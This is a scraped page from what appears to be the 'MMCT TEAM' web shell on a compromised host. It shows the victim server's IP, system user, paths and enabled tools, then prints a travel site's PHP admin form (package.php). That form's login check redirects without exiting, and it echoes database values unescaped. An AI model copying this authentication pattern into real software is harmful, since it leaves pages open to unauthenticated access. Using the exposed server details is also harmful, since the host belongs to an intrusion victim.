MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/imyrqtmy/public_html/destinationplanner/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/destinationplanner/admin/package.php
<?php
session_start();
$se = $_SESSION["id"];
if (!isset($_SESSION['id'])) {
    header("Location: login.php");
}
include("includes/config.php");;
 
?>



<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>Package Form Elements</title>

  <!-- Google Font: Source Sans Pro -->
  <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700&display=fallback">
  <!-- Font Awesome -->
  <link rel="stylesheet" href="plugins/fontawesome-free/css/all.min.css">
  <!-- Theme style -->
  <link rel="stylesheet" href="dist/css/adminlte.min.css">
</head>
<body class="hold-transition sidebar-mini">
<div class="wrapper">
  <!-- Navbar -->
  <?php require "includes/nav.php" ?>
  <!-- /.navbar -->

  <!-- Main Sidebar Container -->
 
  <?php require "includes/sidebar.php" ?>

  <!-- Content Wrapper. Contains page content -->
  <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
      <div class="container-fluid">
        <div class="row mb-2">
          <div class="col-sm-6">
            <h1>Package</h1>
          </div>
          <div class="col-sm-6">
            <ol class="breadcrumb float-sm-right">
              <li class="breadcrumb-item"><a href="#">Home</a></li>
              <li class="breadcrumb-item active">Package</li>
            </ol>
          </div>
        </div>
      </div><!-- /.container-fluid -->
    </section>

    <!-- Main content -->
    <section class="content">
      <div class="container-fluid">
        <div class="row">
          <!-- left column -->
          <div class="col-md-12">
            <!-- general form elements -->
            <div class="card card-primary">
              <div class="card-header">
                <h3 class="card-title">Add Package</h3>
              </div>
              <!-- /.card-header -->
              <!-- form start -->
              <?php
                  if(isset($_SESSION['status']) && $_SESSION != ''){
                ?>
    
                  <div class="alert alert-warning alert-dismissible fade show" role="alert">
                      <strong>Hey!</strong> <?php echo $_SESSION['status']; ?>
                      <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>
                  </div>  
                      <?php
                      unset($_SESSION['status']);
                      }
                ?>




              <!-- <form  action="add_product.php" method="post" enctype="multipart/form-data"> -->
              <form action="add_package.php" method="post" enctype="multipart/form-data">  
              <div class="card-body">

              
                 <div class="row">
                <div class="col-md-4">
                <div class="form-group">
                    <label for="exampleInputPassword1">Package Name</label>
                    <input type="text" class="form-control" id="package_name" name="package_name" placeholder="Enter Name">
                  </div>
                </div>

                  
                  <div class="col-md-4">
                  <div class="form-group">
                      <label for="exampleInputPassword1">Destination</label>
                      <select name="destination_id" id="destination_id" class="form-control" required="">
                      <option value="" selected disabled>Select Destination</option>

                            <?php
                                  $query = "SELECT * FROM destinations";
                                  $query_run =mysqli_query($conn, $query);
                                      
                                  if(mysqli_num_rows($query_run) > 0){
                                      foreach($query_run as $row){  
                                  echo '<option class="fs-6" value="'.$row["id"].'">'.$row["destination_name"].'</option>';   
                                      }}
                                  ?>
                          </select>
                      </div>
                  </div>

                  <div class="col-md-4">
                    <div class="form-group">
                      <label for="exampleInputPassword1">Days</label>
                      <input type="text" class="form-control" id="day" name="day" placeholder="Enter Days">
                    </div>
                    </div>
                 </div>



                 <div class="row">
                    <div class="col-md-3">
                    <div class="form-group">
                      <label for="exampleInputPassword1">Country weather</label>
                      <input type="text" class="form-control" id="country_weather" name="country_weather" placeholder="Country weather">
                    </div>
                    </div>

                    <div class="col-md-3">
                  <div class="form-group">
                    <label for="photos">Currency</label>
                    <input type="text" class="form-control" name="currency" id="currency" placeholder="Currency">
                  </div>
                  </div>

                  <div class="col-md-3">
                    <div class="form-group">
                      <label for="exampleInputPassword1">Local Time</label>
                      <input type="text" class="form-control" id="local_time" name="local_time" placeholder="Local Time">
                    </div>
                    </div>

                    <div class="col-md-3">
                      <div class="form-group">
                        <label for="top_destination">Top Destination</label>
                        <input type="text" class="form-control" id="top_destination" placeholder="Type and press Enter">
                      </div>
                      
                      <!-- Display added destinations -->
                      <div id="destination_list" class="mt-2"></div>

                      <!-- Hidden input to store the selected destinations (for database submission) -->
                      <input type="hidden" name="top_destination" id="hidden_top_destination">
                    </div>
                    </div>

                     <div class="row">
                    <div class="col-md-4">
                    <div class="form-group">
                      <label for="exampleInputPassword1">Price</label>
                      <input type="text" class="form-control" id="price" name="price" placeholder="Enter Price">
                    </div>
                    </div>

                    <div class="col-md-4">
                  <div class="form-group">
                    <label for="photos">Upload Image</label>
                    <input type="file" class="form-control" name="photo" id="photo">
                  </div>
                  </div>

                  <div class="col-md-4">
                    <div class="form-group">
                      <label for="exampleInputPassword1">Activity</label>
                      <input type="text" class="form-control" id="activity" name="activity" placeholder="Enter Activity">
                    </div>
                    </div>
                    </div>

                 <div class="row">
                  <div class="col-md-4">
                    <div class="form-group">
                      <label for="exampleInputPassword1">Transportation</label>
                      <input type="text" class="form-control" id="transportation" name="transportation" placeholder="Transportation">
                    </div>
                  </div>
                  <div class="col-md-4">
                    <div class="form-group">
                      <label for="exampleInputPassword1">Departure from</label>
                      <input type="text" class="form-control" id="departure" name="departure" placeholder="Departure">
                    </div>
                  </div>
                  <div class="col-md-4">
                    <div class="form-group">
                      <label for="exampleInputPassword1">Person</label>
                      <input type="text" class="form-control" id="person" name="person" placeholder="Enter Person">
                    </div>
                  </div>
                 
                 </div>

                 <div class="row">
                  <div class="col-md-4">
                    <div class="form-group">
                      <label for="exampleInputPassword1">Best Season</label>
                      <input type="text" class="form-control" id="best_season" name="best_season" placeholder="Enter Best Season">
                    </div>
                  </div>
                  <div class="col-md-4">
                    <div class="form-group">
                      <label for="exampleInputPassword1">Minimum Age</label>
                      <input type="text" class="form-control" id="minimum_age" name="minimum_age" placeholder="Enter Minimum Age">
                    </div>
                  </div>

                  <div class="col-md-4">
                    <div class="form-group">
                      <label for="exampleInputPassword1">Maximum Altitude</label>
                      <input type="text" class="form-control" id="maximum_altitude" name="maximum_altitude" placeholder="Enter Maximum Altitude">
                    </div>
                  </div>
                  
                 
                 
                 </div>


                 <div class="row">
                  <div class="col-md-4">
                    <div class="form-group">
                      <label for="exampleInputPassword1">Tour Type</label>
                      <input type="text" class="form-control" id="tour_type" name="tour_type" placeholder="Enter Tour Type">
                    </div>
                  </div>
                  <div class="col-md-4">
                    <div class="form-group">
                      <label for="exampleInputPassword1">Maximum Age</label>
                      <input type="text" class="form-control" id="maximum_age" name="maximum_age" placeholder="Enter Maximum Age">
                    </div>
                  </div>

                  <div class="col-md-4">
                    <div class="form-group">
                      <label for="exampleInputPassword1">Accomodation</label>
                      <input type="text" class="form-control" id="accomodation" name="accomodation" placeholder="Enter Accomodation">
                    </div>
                  </div>

                 
                 </div>


                    <div class="form-group">
                    <label for="exampleInputPassword1">Overview</label>
                    <textarea name="overview" id="option_text_1"  cols="125" rows="5"></textarea>
                  </div>

                    <div class="form-group">
                    <label for="exampleInputPassword1">Itinerary</label>
                    <textarea name="itinerary" id="option_text_2"  cols="125" rows="5"></textarea>
                  </div>

                <div class="form-group">
                    <label for="exampleInputPassword1">Cost</label>
                    <textarea name="cost" id="option_text_3" cols="125" rows="5"></textarea>

                    <!-- <textarea name="description" id="option_text_1" cols="125" rows="5"></textarea> -->
                  </div>

                  <div class="card-footer">
                      <button type="submit" name="add_package" class="btn btn-primary">Add Package</button>
                  </div>

                <!-- <div class="card-footer">
                <button type="submit" name="add_product" class="btn btn-primary">Add Product</button>
                  
                </div> -->
              </form>
            </div>
            <!-- /.card -->

          </div>
        </div>
      </div>
    </section>
    <!-- /.content -->
  </div>
 


  <!-- Control Sidebar -->
  <aside class="control-sidebar control-sidebar-dark">
    <!-- Control sidebar content goes here -->
  </aside>
  <!-- /.control-sidebar -->
</div>
<!-- ./wrapper -->


<style>
  .destination-tag {
    display: inline-block;
    background-color: #007bff;
    color: white;
    padding: 5px 10px;
    margin: 5px;
    border-radius: 5px;
    font-size: 14px;
    cursor: pointer;
  }
  .destination-tag:hover {
    background-color: #0056b3;
  }
</style>

<script>
document.addEventListener("DOMContentLoaded", function () {
    const input = document.getElementById("top_destination");
    const list = document.getElementById("destination_list");
    const hiddenInput = document.getElementById("hidden_top_destination");

    let destinations = [];

    input.addEventListener("keypress", function (event) {
        if (event.key === "Enter" || event.key === ",") {
            event.preventDefault();
            let destination = input.value.trim();
            if (destination && !destinations.includes(destination)) {
                destinations.push(destination);
                addDestinationTag(destination);
                updateHiddenInput();
                input.value = ""; // Clear input after adding
            }
        }
    });

    function addDestinationTag(destination) {
        let span = document.createElement("span");
        span.classList.add("destination-tag");
        span.textContent = destination;

        // Click to remove destination
        span.onclick = function () {
            destinations = destinations.filter(dest => dest !== destination);
            span.remove();
            updateHiddenInput();
        };

        list.appendChild(span);
    }

    function updateHiddenInput() {
        hiddenInput.value = destinations.join(","); // Store as comma-separated values
    }
});
</script>

<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script>
   $(document).ready(function () {
    $('#submitProduct').on('click', function (e) {
        e.preventDefault();

        // Update CKEditor instances
        for (var instanceName in CKEDITOR.instances) {
            CKEDITOR.instances[instanceName].updateElement();
        }

        // Get form data
        var formData = new FormData($('#addProductForm')[0]);

        // Send data via AJAX
        $.ajax({
            url: 'add_product.php',
            type: 'POST',
            data: formData,
            processData: false, // Required for FormData
            contentType: false, // Required for FormData
            success: function (response) {
                // Handle success response
                if (response.trim() === 'success') { // Assuming 'success' is returned on success
                    alert('Product added successfully!');
                    window.location.href = 'view-product.php'; // Redirect to the desired page
                } else {
                    alert('Error: ' + response);
                }
            },
            error: function (xhr, status, error) {
                // Handle error response
                alert('An error occurred: ' + error);
                console.log(xhr.responseText);
            }
        });
    });
});

</script>

<!-- color start -->
<script>
    document.addEventListener("DOMContentLoaded", function () {
        const colorInput = document.getElementById("colorInput");
        const colorTags = document.getElementById("colorTags");
        const colorValues = document.getElementById("colorValues");

        let selectedColors = [];

        colorInput.addEventListener("keydown", function (event) {
            if (event.key === "," || event.key === "Enter") {
                event.preventDefault();
                let color = colorInput.value.trim().replace(",", "");
                if (color && !selectedColors.includes(color)) {
                    selectedColors.push(color);
                    updateTags();
                }
                colorInput.value = "";
            }
        });

        function updateTags() {
            colorTags.innerHTML = "";
            selectedColors.forEach((color, index) => {
                let tag = document.createElement("span");
                tag.className = "badge bg-primary m-1 p-2";
                tag.innerHTML = `${color} <span class="ms-2 text-white cursor-pointer" onclick="removeColor(${index})">&times;</span>`;
                colorTags.appendChild(tag);
            });
            colorValues.value = selectedColors.join(",");
        }

        window.removeColor = function (index) {
            selectedColors.splice(index, 1);
            updateTags();
        };
    });
</script>

<!-- color end -->





<script src="plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap 4 -->
<script src="plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- bs-custom-file-input -->
<script src="plugins/bs-custom-file-input/bs-custom-file-input.min.js"></script>
<!-- AdminLTE App -->
<script src="dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="dist/js/demo.js"></script>
<!-- Page specific script -->
<script>
$(function () {
  bsCustomFileInput.init();
});
</script>
<script type="text/javascript" src="ckeditor/ckeditor.js"></script>

 <script>
CKEDITOR.replace('option_text_1');
CKEDITOR.replace('option_text_2');
CKEDITOR.replace('option_text_3');
</script>
</body>
</html>


<script>
    // JavaScript for Adding More Color Fields
    document.addEventListener('DOMContentLoaded', function () {
        document.querySelector('#colorFields').addEventListener('click', function (e) {
            if (e.target && e.target.classList.contains('add-more-color')) {
                const newField = document.createElement('div');
                newField.className = 'input-group mb-2';
                newField.innerHTML = `
                    <input type="text" name="colors[]" class="form-control" placeholder="Enter Color">
                    <button type="button" class="btn btn-danger remove-color">Remove</button>
                `;
                e.target.closest('#colorFields').appendChild(newField);
            }
            if (e.target && e.target.classList.contains('remove-color')) {
                e.target.closest('.input-group').remove();
            }
        });
    });
</script>

MMCT - 2023